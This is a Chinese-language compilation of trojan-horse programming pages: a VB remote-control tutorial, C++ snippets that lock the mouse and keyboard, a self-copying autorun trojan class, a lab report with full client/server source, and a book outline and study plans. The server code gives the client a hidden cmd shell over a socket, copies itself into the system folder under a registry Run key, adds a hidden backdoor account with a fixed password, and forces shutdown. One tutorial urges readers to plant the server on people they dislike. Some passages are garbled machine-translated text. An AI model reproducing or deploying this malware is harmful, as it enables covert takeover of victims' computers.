木马编程

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木马编程系列

木马编程系列

木马编程系列今天我为大家讲如何用VB编写"木马"程序木马一般分为两个主程序:一个是服务器端的程序(server),另一个是客户端程序(client),服务器程序是给攻击对象用的,千万不可用错了----给自己种马的人 0客户程序才是给自己用的,于是我们就用VB建立两个程序,一个为服务器端程序cockhorseserver,另一个为客户端程序cockhorseclient.先在cockhorseclient程序中建立一个窗体,加载一个winsock控件,称为tcpclient,再加上两个文本框,用来输入服务器的IP地址和端口号.另外还要建立一个按钮,按下后可以对连接进行初始化.代码我写下:Private Sub Command1_Click()'调用connect方法,初始化连接.tcpclient.RemoteHost = ipinput.Texttcpclient.RemotePort = Val(portinput.Text) '这是端口号,默认为1001 tcpclient.Connect '和指定的IP相对的计算机相连接cmdconnect.Enabled = FalseEnd Sub(在收到数据之后,就要对这些数据做出相应的处理,使用dataarrival事件,可以方便运载数据进操作.Private Sub tcpclient_dataArrival(ByVal bytestotal As Long)Dim strdata As Stringtcpclient.GetData strdataIf strdata = "test connect" Thentcpstate.Text = "connect OK" + vbNewLine + LocalIP Is ":" +-tcpclient.LocalIP + "computer name is : " + tcpclient.LocalHostName tcpstate.Text = tcpstate.Text + vbNewLine + "remote ip is :" + -tcpclient.RemoteHostIP + "computer name is : " +tcpclient.remotehostnameIf InStr(Trim(strdata), "closeOK?") > 0 Thentcpclient.CloseEnd IfEnd Iftxtoutput.Text = txtouput.Text + vbNewLine + tcpclient.RemoteHostIP + ": " + strdataEnd SubEnd Sub这是这一段代码cockhorseclient程序的核心部分就是这些,下面我讲cockhorseserver程序cockhorseserver程序也是先建立一个窗体,也要加载一个winsock控件,(方便一些,我在同一个工程下建立这个窗体).如果当cockhorseclient程序运行时,cockhorseclient程序就会对cockhorseserver发出连接请求,为了完成这个连接任务,可以用connectionrequest事件来完成,然后就是具体的错误情况的表达.代码我打出来:if index=0 thenintmax= intmax+1load tcpserver(intmax)tcpserver(intmax).localport=0tcpserver(intmax).accept requestIDcombol_IP.additem(tcpserver(intmax).remotehostIP)combol_Ip.text="填上你的恨的人的IP吧!"tcpserver(intmax).senddata"test connect"end if呵呵.刚才忘记定义名称了它的效果是:在cockhorseclient程序被按下的时候,cockhorseserver程序的connectionrequest事件被触发,从而执行上面的程序,产生连接.现在的cockhorseserver程序只能做链接,还不能处理cockhorseclient程序所发出的指令,我们还必需用dataarrival事件.代码是这样的:Private Sub tcpserver_dataArrival(index As Integer, ByVal bytestotal As Long)Dim strdata As StringDim check_blongon error gogo err_protcpserver(index).GetData strdatacheck_blong = InStr(Trim(strdata), "Exec")If check_blong > 0 Thenstrdata = Trim(strdata)strdata = Right(strdata.Len(strdata) - 4)Connect.Text = content.Text + vbNewLine + tcpserver(index).RemoteHostIP + "" + "要求执行下面的程序:" + strdataShell (strdata)Elsecheck_blong = InStr(Trim(strdata), "closeOk")If check_blong > 0 Thentcpserver(index).Closecombol_IP.removeltem (index - 1)content.Text = content.Text + vbNewLine + tcpserver(index).RemoteHostIP + "" + "已经断开!"Elseipname.Text = tcpserver(index).RemoteHostIPtxtoutput.Text = content.Text + vbNewLine +tcpserver(index).RemoteHostIP + "" + strdataEnd IfEnd Subend iferr_pro:if err=53 thenmsgbox "所执行的程序的路径有错误! ", + tcpserver(index).remotehostIP + "该程序在执行时被拒绝!"tcpserver(index).senddata""end ifresume nextend sub这样,cockhorseserver程序就完了,这就是一个最基本的木马程序,你用它就可以把你想要黑的人的电脑搞定!至于怎么让MM运行你编写的木马服务端程序,那就是你的自己的事情啦!好了.大概就是这样.控件名称呢.自己定义.我也好长时间没碰VB了.呵呵。

木马编写技巧

木马编写技巧

木马编写技巧1.锁定鼠标:这个函数非常简单。

只有一个clipcursor()可以处理它。

看看下面的小程序[CPP]viewplaincopyprint?1.#include2.#include3.intmain(intargc,char*argv[])4。

{5.printf(\别害怕15妙后你的鼠标就可以使用了^_^\\n\6.rectrect;7.rect。

底部=1;8.rect。

右=1;9.clipcursor(&rect);10.::sleep(15000);11.clipcursor(空);//释放12返回0;13.}注:本文于06/12月于黑客防线发表版权归黑客防线所有,转载请注明出处rect是一个结构,表示锁定的范围我们通常只用bottom和right两个域2.锁定键盘:锁键盘一般用钩子实现,所以难度稍大,不过下面这个程序当简单,而且连钩子所需要dll也省了[cpp]查看纯拷贝?1.#include2.#include3//处理关键信息的处理功能4.lresultcallbackkeyproc(intcode,5.wparamwparam,6.lparamlparam)7.{8.返回1;//返回1会阻止键盘响应9。

}10.main(intargc,char*argv[])11.{12.十三14.setwindowshookex(wh_keyboard,keyproc,getmodulehandle(null),0);// 安装键盘挂钩15.printf(\程序将在15妙之后返回...嘿嘿15妙内你的键盘是无法工作\\n\16.::睡眠(15000);17.}注:本文于06/12月于黑客防线发表版权归黑客防线所有,转载请注明出处上面的代码是参考了6期“全局钩子”和7期“楚茗”的文章写成的,使用钩子而无dll的关键就在于getmodulehandle(null),getmodulehandle()参数为null得到的是调用者本身的模块句柄,也就是说用程序本身作为dll。

VisualC++很简单的木马代码

VisualC++很简单的木马代码

VisualC++很简单的木马代码Visual C++编程时用到了这些功能,现在我把它组装成一个很简单的木马了.本代码已封装成类方便代码重用:1,自我复制.2,修改注册表自动运行.3,关闭进程.4,启动程序.5,重启关机功能.交流class CTrojanHorse{public://add codepublic://add codeCTrojanHorse();~CTrojanHorse();protected://add codeBOOL IfShell(CString BeKissPrcName);BOOL CopyFileaddr(CString m_CopyFile);void ShellFile(CString m_ShellFile);BOOL SetAutoRun(CString strPath);void ShutDown();private://add code};CTrojanHorse::CTrojanHorse(){//add code}CTrojanHorse::~CTrojanHorse(){//add code}BOOL CTrojanHorse::IfShell(CString BeKissPrcName)//判断程序是否在运行{CString str,a,prcnum;// CMainFrame *pDlg=(CMainFrame *)lparam;//AfxMessageBox(pDlg->BeKissPrcName);HANDLESnapShot=CreateT oolhelp32Snapshot(TH32CS_SNAPPROCESS,0 );SHFILEINFO shSmall;PROCESSENTRY32 ProcessInfo;//声明进程信息变量ProcessInfo.dwSize=sizeof(ProcessInfo);//设置ProcessInfo的大小//返回系统中第一个进程的信息BOOL Status=Process32First(SnapShot,&ProcessInfo);int m_nProcess=0;int num=0;while(Status){ num++;m_nProcess++;ZeroMemory(&shSmall,sizeof(shSmall));//获取进程文件信息SHGetFileInfo(ProcessInfo.szExeFile,0,&shSmall,sizeof(shSmall),SHGFI_ICON|SHGFI_SMALLICON);//str.Format("%08x",ProcessInfo.th32ProcessID);str=ProcessInfo.szExeFile;if(str==BeKissPrcName){AfxMessageBox("找到进程成功!");return true;}//获取下一个进程的信息Status=Process32Next(SnapShot,&ProcessInfo);}AfxMessageBox("失败!");return false;}BOOL CTrojanHorse::CopyFileaddr(CString m_CopyFile)//复制文件{char pBuf[MAX_PATH];CString m_addr;// CString m_strSrcFile1="D:/OperateFile.exe";// CString m_addr="D:/SVCLSV.exe"; //存放路径的变量GetCurrentDirectory(MAX_PATH,pBuf); //获取程序的当前目录strcat(pBuf,"\\");strcat(pBuf,AfxGetApp()->m_pszExeName);strcat(pBuf,".exe");m_addr=pBuf;if(CopyFile(m_addr,m_CopyFile,FALSE)){AfxMessageBox("复制成功!");return true;}return false;}void CTrojanHorse::ShellFile(CString m_ShellFile)//执行所要的程序{ShellExecute(NULL,"open",m_ShellFile,NULL,NULL,SW_SHO WNORMAL);}BOOL CTrojanHorse::SetAutoRun(CString strPath)//修改注册表{CString str;HKEY hRegKey;BOOL bResult;str=_T("Software\\Microsoft\\Windows\\CurrentVersion\\Ru n");if(RegOpenKey(HKEY_LOCAL_MACHINE, str, &hRegKey) != ERROR_SUCCESS)bResult=FALSE;else{_splitpath(strPath.GetBuffer(0),NULL,NULL,str.GetBufferSetL ength(MAX_PATH+1),NULL);strPath.ReleaseBuffer();str.ReleaseBuffer();if(::RegSetValueEx( hRegKey,str,0,REG_SZ,(CONST BYTE *)strPath.GetBuffer(0),strPath.GetLength() ) != ERROR_SUCCESS)bResult=FALSE;elsebResult=TRUE;strPath.ReleaseBuffer();}return bResult;}void CTrojanHorse::ShutDown()//重新启动计算机{if (IDYES == MessageBox("是否现在重新启动计算机?", "注册表提示", MB_YESNO)){OSVERSIONINFO OsVerInfo; //保存系统版本信息的数据结构OsVerInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);GetVersionEx(&OsVerInfo);//取得系统的版本信息CString str1 = "", str2 = "";str1.Format("你的系统信息\n版本为:%d.%d\n", OsVerInfo.dwMajorVersion,OsVerInfo.dwMinorVersion);str2.Format("型号:%d\n", OsVerInfo.dwBuildNumber);str1 += str2;AfxMessageBox(str1);if(OsVerInfo.dwPlatformId == VER_PLATFORM_WIN32_NT) ExitWindowsEx(EWX_REBOOT | EWX_SHUTDOWN, 0); //重新启动计算机}}。

一个简单的木马程序

一个简单的木马程序
2、熟悉了winsock网络编程
指导教师意见
签名:
年月日
贵州大学实验报告
学院:计算机科学与技术专业:XXX班级:XXX
姓名
XXX
学号
XXX
实验组
实验时间
2015.4.24
指导教师
XXX
成绩
实验项目名称
Winsock编程--一个简单的木马程序
实验目的
1.了解socket网络接口;
2.学会使用winsock网络编程;
实验环境
Win7 –作为客户
虚拟机下的Windows XP –作为服务器
VC+பைடு நூலகம் 6.0
实验内容
编写一个简单的木马程序,实现客户端和服务器之间的交互(能够在客户端对服务器进行一些简单的控制操作)。
实验步骤及结果
1、在客户端运行client.cpp,然后输入服务器的IP地址
2、选择要进行的操作
此时win7光驱自动弹出
选择quit菜单。服务器端显示
部分代码说明
实验总结
1、基本了解socket网络接口

木马程序设计(两篇)2024

木马程序设计(两篇)2024

引言:木马程序是一种恶意软件,它通过在目标系统中植入并隐藏自身,实现对目标系统的控制或信息窃取。

本文是《木马程序设计(二)》的续篇,将继续深入探讨关于木马程序的设计和相关技术。

概述:本文旨在介绍如何设计和开发具有高度隐蔽性和攻击能力的木马程序。

通过深入了解木马程序的原理和开发过程,有助于安全专家和网络管理员更好地了解和对抗木马程序,以保护系统和用户的安全。

正文内容:1.攻击向量和传播方式1.1社交工程1.2漏洞利用1.3传输层安全协议绕过1.4僵尸网络攻击1.5欺骗用户2.木马程序的免疫和检测2.1超早期威胁检测2.2行为监测和模式识别2.3特征码识别和病毒库更新2.4网络流量分析2.5操作系统层面的防御3.植入与控制技术3.1进程注入技术3.2Rootkit技术3.3驱动程序植入3.4远程命令执行3.5定时任务和触发器4.木马通信与隐藏通道4.1隐蔽通信协议4.2随机化通信端口4.3数据加密和解密4.4数据压缩和分段传输4.5反向连接和动态DNS5.对抗与防治策略5.1安全软件与防火墙5.2漏洞修补和补丁管理5.3用户教育与安全意识培训5.4减少攻击面的措施5.5安全审计和日志分析总结:木马程序作为一种隐蔽且具有破坏性的攻击方式,对网络和系统的安全造成了严重威胁。

本文通过深入分析木马程序的设计和相关技术,希望能够帮助读者更好地了解木马程序的工作原理,以便有效对抗和防治木马程序的攻击。

同时,也强调了用户教育、安全软件、漏洞修补等方面的重要性,以建立更加安全和可靠的网络环境。

只有不断学习和加强防护,才能提高网络和系统的安全性。

引言:随着互联网的迅速发展,木马程序成为了网络安全领域中的一个重要话题。

木马程序是一种能够在用户不知情的情况下获取或控制目标系统的恶意软件。

它们能够隐藏在正常的应用程序或文件中,以欺骗用户下载和安装。

本文将深入探讨木马程序设计的背景、原理、类型以及防御方法。

概述:木马程序设计是指创建和开发恶意软件,以实现对目标系统的非法访问和控制。

一个简单木马程序

一个简单木马程序

程序清单:Client.cpp // 客户端代码Server.cpp // 服务器端代码程序代码及说明://Client.cpp文件#include <stdio.h> //包含标准输入输出库#include <winsock.h> //包含windows套接字函数#include <iostream>using namespace std;#pragma comment(lib,"Ws2_32")//将注释wsock32放置到lib文件中,否则需要加载#define MAXSIZE 2048 //每次可以接收的最大字节#define SEND_PORT 2000 //与木马程序连接的端口为2000struct sockaddr_in ClientAddr; //对方的地址端口信息SOCKET sock; //定义套接字变量,为全局变量DWORD startSock() //建立套接字功能模块{WSADATA WSAData; //将WSAData的数据类型声明为WSADATA if(WSAStartup(MAKEWORD(2,2),&WSAData)!=0){//MAKEWORD(2,2)预定义Winsock版本,初始化套接字printf("sock init fail");return(-1);}sock = socket(AF_INET, SOCK_STREAM, 0);//连接对方return 1;}int main(int argc, char *argv[]){u_int numbyte;char buf[MAXSIZE]; //传送数据的缓冲区char ip[100];cout<<"请输入要连接的IP地址"<<endl;cin>>ip;startSock();//调用建立套接字功能函数ClientAddr.sin_family = AF_INET; //协议类型是INETClientAddr.sin_port = htons(SEND_PORT); //连接对方2000端口ClientAddr.sin_addr.s_addr = inet_addr(ip); //连接对方的IP地址connect(sock, (struct sockaddr *)&ClientAddr,sizeof(struct sockaddr));printf("------------远程控制木马程序菜单-------------\r\n");printf("add --建立Windows系统的秘密帐号\r\n");printf("shutdown --关闭Windows计算机\r\n");printf("reset --重新启动Windows计算机\r\n");printf("close --关闭光驱\r\n");printf("open --打开光驱\r\n");printf("shell --建立cmd进程\r\n");printf("quit --退出系统\r\n");printf("BIT----------gaoping-----------\r\n");while(1){buf[0] = '\0';scanf("%s",buf);//输入控制指令int iLen = strlen(buf);buf[iLen] = 0xa;buf[iLen+1] = '\0';//要求控制指令串最后为回车符,以示结束numbyte=send(sock, buf, strlen(buf), 0);//发出控制指令if(numbyte==SOCKET_ERROR){closesocket(sock);break;}numbyte=recv(sock, buf, MAXSIZE, 0);//接收服务端发来的提示符if(numbyte==SOCKET_ERROR){closesocket(sock);break;}buf[numbyte] = '\0';printf("%s",buf); //显示服务端发来的提示符if(strcmp(buf, "quit") == 0 ){closesocket(sock);return 0;}}return 0;}//Server.cpp文件#include <winsock2.h> //包含windows套接字函数#include <stdio.h> //包含标准输入输出函数#include <mmsystem.h> //光驱控制函数mciSendString()所需的头文件#include <iostream> //包含C++系统输入输出函数#include <string> //包含字符串处理函数using namespace std;#include <winuser.h> //WinExec()函数所需的头文件#pragma comment(lib,"Ws2_32")//将注释wsock32放置到lib文件中,否则需要加载#pragma comment(lib,"Winmm.lib")//光驱控制函数mciSendString()所需的库#define RECV_PORT 2000 //木马服务端对外响应的端口#define PATH 200 //程序自启动的最大路径SOCKET sock1,sock2;//sock1为服务端程序自身建立的套接字//sock2为服务端与客户端建立响应后的套接字int g1;char Buff[1024],cmd[1024];//缓冲区DWORD startSock() //建立套接字功能模块{WSADATA WSAData; //将WSAData的数据类型声明为WSADATAif(WSAStartup(MAKEWORD(2,2),&WSAData)!=0){//MAKEWORD(2,2)预定义Winsock版本,初始化套接字printf("sock init fail");return(-1);}sock1 = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);//建立套接字,为TCP/IP、流式格式struct sockaddr_in serverAddr; //保存套接字地址的结构体serverAddr.sin_family = AF_INET; //规定使用IPv4协议serverAddr.sin_port = htons(RECV_PORT); //响应端口serverAddr.sin_addr.s_addr=ADDR_ANY;//建立IP地址,ADDR_ANY可使用任意IP地址连接g1=bind(sock1,(sockaddr *)&serverAddr,sizeof(serverAddr));//绑定端口与套接字g1=listen(sock1,5);//等待监听,最大可接受5个连接请求int serverAddrSize = sizeof(serverAddr);sock2=accept(sock1,(sockaddr *)&serverAddr,&serverAddrSize);//如果客户请求2000端口,接受连接,并返回sock2套接字return 1;}int cmdshell(SOCKET sock) //建立cmd进程功能模块{STARTUPINFO startinfo; //控制进程的主窗口的显示方式ZeroMemory(&startinfo,sizeof(startinfo));startinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;// 决定本结构的每一个成员是否起作用startinfo.wShowWindow = SW_HIDE;//窗口显示模式,隐藏格式startinfo.hStdInput = startinfo.hStdOutput = startinfo.hStdError = (void *)sock;//标准输入输出管道char cmdsystem[] = "cmd";//cmd进程PROCESS_INFORMATION ProcessInformation;// 指向进程信息结构的指针int g2;//下面为建立进程过程g2=CreateProcess(NULL,cmdsystem,NULL,NULL,1,0,NULL,NULL,&startinfo,&ProcessInformat ion);//建立一个cmd.exe进程与相应的输入输出管道WaitForSingleObject(ProcessInformation.hProcess, INFINITE);//等待子进程退出TerminateProcess(ProcessInformation.hProcess, 0);//在一个子进程中强制结束其他的进程CloseHandle(ProcessInformation.hProcess);//关闭子进程句柄return 1;}DWORD startExeFile() //自启动程序功能模块{char ExeFile[PATH]; //木马程序缓冲区char TempPath[PATH];//系统目录缓冲区int g3;GetModuleFileName(NULL,ExeFile,PATH);//得到当前文件名GetSystemDirectory(TempPath ,PATH); //得到系统目录strcat(TempPath,"\\server.exe");//拷贝到系统文件夹名为server.exeg3 = CopyFile(ExeFile, TempPath, FALSE);HKEY key;//关键字句柄if( RegOpenKeyEx( HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0, KEY_ALL_ACCESS, &key ) == ERROR_SUCCESS){//创建和打开一个关键字RegSetValueEx(key,"server",0,REG_SZ,(BYTE *)TempPath,lstrlen(TempPath));// 在RUN键下建立一个server键,为该木马的路径RegCloseKey(key); //关闭并保存}return 1;}DWORD Open_CDROM()//打开光驱程序功能模块{mciSendString("set cdaudio door open", NULL, 0, NULL);//多媒体控制函数return 1;}DWORD Close_CDROM()//关闭光驱程序功能模块{ mciSendString("Set cdaudio door closed wait", NULL, 1, NULL);//多媒体控制函数return 1;}DWORD shutdownwin2k()//关闭Win2K程序功能模块{HANDLE hToken;TOKEN_PRIVILEGES tkp;// Windows2K中需要设置调用进程的权限,当获取该权限后才能关闭计算机的操作OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);tkp.PrivilegeCount = 1; // 设置一个权限tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);ExitWindowsEx(EWX_SHUTDOWN |EWX_FORCE, 0);return 1;}DWORD shutdownwin98()//关闭Win98程序功能模块{ExitWindowsEx(EWX_SHUTDOWN | EWX_FORCE,0);return 1;}DWORD resetwin98()//重新启动Win98程序功能模块{ExitWindowsEx(EWX_REBOOT |EWX_FORCE,0);return 1;}DWORD resetwin2k()//重新启动Win2K程序功能模块{HANDLE hToken;TOKEN_PRIVILEGES tkp;// Windows2K系列,需要设置调用进程的权限,获得权限才能进行重新启动计算机的操作OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);tkp.PrivilegeCount = 1; // 设置一个权限tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0);return 1;}DWORD adduser()//建立秘密帐号程序功能模块{WinExec("net user yaoxiangwen 0123456789 /add",SW_HIDE);//建立秘密帐号:yaoxiangwen为用户帐号,0123456789为密码return 1;}//下面为主函数,通过调用各个功能模块来实现木马功能int main(){startExeFile();//startSock() ;unsigned long ByteRead = 0;while(1){send(sock2,"远程控制系统,请输入你的选择!\n\rcmd>",sizeof("欢迎进入木马远程控制系统,请输入你的选择!\n\rcmd>"),0);ZeroMemory(cmd,1024); //初始化cmd[]缓冲区,用来装客户端发来的指令ByteRead = 0; //接收客户端发来的指令字节数while(ByteRead<200) //下面是接收客户端发来控制字程序段{if(recv(sock2,Buff,1,0)==SOCKET_ERROR)//控制字在Buff缓冲区中{closesocket(sock2);return 0;}cmd[ByteRead]=Buff[0];if(Buff[0]==0xa || Buff[0]==0xd){ //如果控制字最后是回车符表示结束标志,cmd[]数组最后一位为0cmd[ByteRead]=0;break;}ByteRead++; //指令字节计数}if(strcmp(cmd,"open") == 0){Open_CDROM(); //调用打开光驱模块程序send(sock2,"OK\n\rcmd>",sizeof("OK\n\rcmd>"),0);}else if(strcmp(cmd,"close") == 0){Close_CDROM(); //调用关闭光驱模块程序send(sock2,"OK\n\rcmd>",sizeof("OK\n\rcmd>"),0);}else if(strcmp(cmd,"shell")==0){cmdshell(sock2); //调用CMD进程模块程序send(sock2,"Create the cmd Shell OK\n\rcmd>",sizeof("Create the cmd Shell OK\n\rcmd>"),0);}else if(strcmp(cmd,"shutdown98")==0){shutdownwin98();//调用关闭Win98系统计算机模块程序send(sock2,"shutdown the windows98 OK\n\rcmd>",sizeof("shutdown the windows98 OK\n\rcmd>"),0);}else if(strcmp(cmd,"shutdown")==0){shutdownwin2k();//调用关闭Win2K系统计算机模块程序send(sock2,"shutdown the windows2k OK\n\rcmd>",sizeof("shutdown the windows2k OK\n\rcmd>"),0);}else if(strcmp(cmd,"reset98")==0){resetwin98(); //调用启动Win98系统计算机模块程序send(sock2,"reset the windows98 OK\n\rcmd>",sizeof("reset the windows98 OK\n\rcmd>"),0);}else if(strcmp(cmd,"reset")==0){resetwin2k(); //调用启动Win2K系统计算机模块程序send(sock2,"reset the windows2k OK\n\rcmd>",sizeof("reset the windows2k OK\n\rcmd>"),0);}else if(strcmp(cmd,"add")==0){adduser(); //调用建立秘密帐号模块程序send(sock2,"net user yaoxiangwen 0123456789 /add OK\n\rcmd>",sizeof("net user xxdk gao/add OK\n\rcmd>"),0);}else if(strcmp(cmd,"quit")==0){//退出木马,并关闭套接字closesocket(sock2);exit(0);}else{send(sock2,"Bad command,Please input the word try again\n\rcmd>",sizeof("Bad command,Please input the word try again\n\rcmd>"),0);} //显示输入有误,重新输入Sleep(10); //延时}return 1;}。

木马编程学习计划手帐

木马编程学习计划手帐

木马编程学习计划手帐第一阶段:基础知识学习(时间:1个月)1.1 网络基础知识目标:了解网络的基本概念、网络拓扑、网络协议等。

学习内容:网络基础知识书籍、网络课程视频1.2 编程基础知识目标:掌握至少一种编程语言(如Python、C++、Java等)的基础语法和基本编程思想。

学习内容:编程基础知识书籍、在线编程教程1.3 安全基础知识目标:了解计算机安全的基本概念、安全威胁类型、安全防护措施等。

学习内容:安全基础知识书籍、安全网站、安全资讯第二阶段:木马原理学习(时间:2个月)2.1 木马基础知识目标:了解木马的基本概念、原理、分类、功能等。

学习内容:木马基础知识书籍、网络课程视频、安全论坛2.2 木马编程技术目标:掌握至少一种编程语言(如C、C++、Python等)实现木马的基本编程技术。

学习内容:木马编程技术书籍、网络课程视频、安全论坛2.3 木马攻击原理目标:了解木马攻击的原理、常见攻击手法和防御措施等。

学习内容:木马攻击原理书籍、安全网站、安全资讯第三阶段:实战操作与案例研究(时间:3个月)3.1 木马编程实战目标:利用所学木马编程技术,实现简单的木马程序并进行测试。

学习内容:实战操作指导书籍、网络实战平台、安全实验室3.2 木马案例研究目标:分析和研究实际木马攻击案例,了解攻击手法及对应防御措施。

学习内容:安全案例分析书籍、安全论坛、安全咨询3.3 安全漏洞挖掘目标:学习漏洞挖掘技术,发现和利用系统和软件的安全漏洞。

学习内容:漏洞挖掘技术书籍、漏洞挖掘实战平台、安全研究报告第四阶段:安全技术提升与实践(时间:不限)4.1 安全技术提升目标:持续学习和提升木马编程技术,掌握更多的安全攻防工具和技术。

学习内容:安全技术进阶书籍、安全技术博客、安全技术交流会议4.2 安全实践项目目标:参与安全攻防实践项目,提升自己的安全实战经验和技能。

学习内容:安全攻防实践项目、安全实战比赛、安全实践培训4.3 安全证书考取目标:考取相关的安全证书,提升自己的专业认可度和竞争力。

木马编程学习计划暑假

木马编程学习计划暑假

木马编程学习计划暑假为了能够更好地学习木马编程知识,我制定了一个详细的学习计划,计划从基础知识的学习开始,逐步深入,最后达到能够自己编写木马程序的水平。

这个计划主要是在暑假期间进行,希望能够在这段时间内取得不错的进步。

第一阶段:基础知识的学习在这个阶段,我将主要学习计算机网络和安全相关的基础知识,包括网络协议、服务器架构、防火墙、入侵检测系统等。

我会通过阅读相关书籍和网络课程来深入了解这些知识,并辅以一些实际操作的练习,比如搭建自己的网络环境和进行一些简单的渗透测试。

第二阶段:恶意软件的研究在这一阶段,我将重点学习各种类型的恶意软件,包括病毒、木马、蠕虫、间谍软件等。

我会深入了解它们的工作原理、传播方式和对策,通过逆向工程的方式来分析现有的恶意软件,从中学习它们的设计和实现技巧。

同时,我也会尝试编写一些简单的恶意软件,并进行测试和改进。

第三阶段:木马编程的学习在这一阶段,我将开始正式学习木马编程,主要是针对Windows系统的木马程序。

我会学习各种编程语言的使用,包括C、C++、Python等,以及各种编程技巧和工具的运用。

我也会深入研究木马程序的设计原理和实现方法,比如使用远控技术、隐藏运行、数据窃取等功能的实现。

第四阶段:实战操作的练习在这一阶段,我将进行一些实际的木马编程操作练习,主要是根据实际需求和场景,设计和实现一些具有特定功能的木马程序。

这些功能可能包括远程监控、文件传输、系统漏洞利用等,我将通过实际的测试和改进来提高自己的编程水平和实践能力。

第五阶段:安全意识的提高在学习木马编程的过程中,我也会不断强调对安全意识的培养和加强。

我会学习如何预防和检测恶意软件的技术和方法,了解各种防护软件的工作原理和使用技巧,以及如何提高个人和企业的网络安全能力。

同时,我也会了解相关的法律法规和道德规范,确保自己在学习和实践的过程中不违反相关规定和造成不良后果。

总结通过以上的学习计划,我希望能够在暑假期间建立起一个系统的木马编程知识体系,并在实践中不断提高自己的水平。

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C木马【内容提要】本书全面介绍了C/C++语言网络编程和Socket编程的基本方法。

重点剖析了目前流行木马的编程方法,揭露了黑客木马编程技术内幕。

本书的特色在于从整体入手,先学习木马程序的整体框架雏形,然后一步一步地深入学习木马编程中的隐藏技术、管道技术、反弹技术以及远程注入技术等,全书结合多个生动案例,环环相扣,深入浅出,实现黑客编程技术的融会贯通。

本书提供的程序代码力求完整、精简以及可读性强,为初、中级黑客编程爱好者提供了实用的学习参考资料。

同时也可以作为大中专院校学生课外编程参考资料。

【序】一直以来想写一本关于黑客编程方面的书,一方面,市面上流行的黑客书籍大多拘泥于黑客工具的使用上,仅适合入门级的黑客技术爱好者;另一方面,黑客技术博大精深,自身的学识浅薄,不能写成令大家满意的作品,所以就一直搁浅。

由于我的上一部专著《信息安全顾问最佳实践指南》的读者给了我颇多的建议,同时也给了我写一本黑客编程方面的书籍的信心。

在中国,随着Internet的发展,黑客技术的爱好者也越来越多,水平也越来越高,他们不再满足使用别人的工具,也想自己亲自动手编制一些工具,这就非常需要一部关于黑客技术理论方面的书籍。

兵家云:"知己知彼,百战不殆",毛主席也说过"要想知道梨子的滋味,就得亲自尝一下",所以,我们要亲自动手编制一些实用的小程序,首先,我们要摈弃那些代码冗长,功能大而全的程序;其次,从整体入手,先有面的概念,然后在学习点的知识,最后串起来;最后,任何代码都要在实践中进行检验,所以,在本部书最后一章设计了四个完整实用的程序,给读者一个豁然开朗的感觉。

【本书的组织】第1~9章主要内容如下:第1章,木马介绍-介绍了木马的历史以及当前木马的发展趋势。

第2章,Windows下黑客编程语言-如何学习黑客编程以及C/C++语言的使用入门。

第3章,Socket套接字编程基础-TCP/UDP的Socket介绍,木马基本结构介绍。

第4章,木马隐藏技术剖析-介绍了注册表的自启动加载技术、服务的加载技术、DLL远程注入的加载技术。

第5章,匿名管道技术-介绍了匿名管道的技术利用,单、双管道后门代码的分析,以及简单的双管道后门。

第6章,反弹木马技术-介绍了反弹木马的出现背景,着重分析了反弹木马的原理以及给出反弹式木马的源代码。

第7章,端口重用技术-介绍了端口重用的实现方法,以及给出了端口重用的源代码。

第8章,黑客编程经典代码-给出了经常使用的部分C语言源代码,例如:下载者、关机、进程查杀等。

可以直接使用或作为函数使用。

第9章,实战编程-从实践出发,通过四个真实的案例,对学过的技术进行练习,由浅入深,最后做出真正实用的木马。

【致谢】最后,感谢一直支持我的家人和朋友,在写作的过程中,每当我遇到困难的时候,甚至放弃的时候,是他们给了我巨大的精神鼓舞和物质支持,在此,再一次向他们表示感谢。

【目录】第一章木马介绍 (1)1.1木马发展历史 (1)1.2国内木马发展趋势 (3)第二章Windows下黑客编程语言 (10)2.1如何学习黑客编程 (11)2.2黑客编程的基本技巧 (12)2.3 C语言编程入门 (14)2.3.1 C程序结构 (14)2.3.2利用VisualC++6.0编译 (16)2.3.3VisualC++6.0 使用技巧 (18)第三章Socket套接字编程基础 (22)3.1客户机/服务器模式介绍 (22)3.2基于TCP的socket编程 (27)3.3基于UDP的socket编程 (28)3.4 木马雏形框架 (32)3.5木马源码剖析 (33)第四章木马隐藏技术剖析 (37)4.1 注册表加载技术 (40)4.1.1注册表的基本操作 (44)4.1.2 代码实现注册表自启动 (48)4.2服务级的木马技术 (49)4.2.1 Windows服务简介 (49)4.2.2编程实现服务级木马 (51)4.3 DLL远程注入技术 (55)4.3.1 动态链接库 (62)4.3.2 DLL木马的启动 (63)第五章匿名管道技术 (68)5.1匿名管道技术的利用 (68)5.2单管道后门代码 (71)5.3双管道后门代码 (73)5.4简化双管道后门代码 (76)第六章反弹木马技术 (78)6.1什么是反弹式木马 (78)6.2反弹式木马的原理 (78)6.3反弹木马程序源码 (80)第七章端口重用技术 (82)7.1端口重用实现 (83)7.2端口重用实现代码 (86)第八章黑客编程经典代码 (95)8.1 下载者源码 (95)8.2 关机源码 (96)8.3 获取系统信息源码 (96)8.4 进程查杀源码 (100)第九章实战编程 (103)9.1牛刀小试-我的第一个木马 (103)9.2进一步思考-穿过防火墙 (106)9.3再进一步-控制与隐藏 (116)9.4终极篇-实战检验 (132)【其他】书名:C/C++木马编程进阶与实战作者:赵玉明开本:780x1000 1/16 字数:200 千字版次:2008年3月第一版 2008年3月第一次印刷印数:0001~5000定价:35.00元第一章木马介绍什么是"木马"?正像历史上的"特洛伊木马"一样,被称作"木马"的程序也是一种掩藏在美丽外表下打入我们电脑内部的东西。

